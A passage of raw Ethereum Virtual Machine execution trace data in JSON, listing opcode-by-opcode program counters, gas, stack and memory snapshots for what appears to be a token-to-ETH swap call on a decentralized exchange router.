x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":100623,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":100620,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4","0xc4","0x0","0xb36"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":100617,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb36","0xc4","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":100615,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb36","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":100613,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb36","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":100611,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb36"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2870,"op":"JUMPDEST","gas":100603,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2871,"op":"DUP12","gas":100602,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2872,"op":"DUP12","gas":100599,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2873,"op":"PUSH1","gas":100596,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2875,"op":"DUP2","gas":100593,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2876,"op":"DUP2","gas":100590,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2877,"op":"LT","gas":100587,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2878,"op":"PUSH2","gas":100584,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2881,"op":"JUMPI","gas":100581,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1","0x1","0xb49"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2889,"op":"JUMPDEST","gas":100571,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2890,"op":"SWAP1","gas":100570,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2891,"op":"POP","gas":100567,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2892,"op":"PUSH1","gas":100565,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2894,"op":"MUL","gas":100562,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb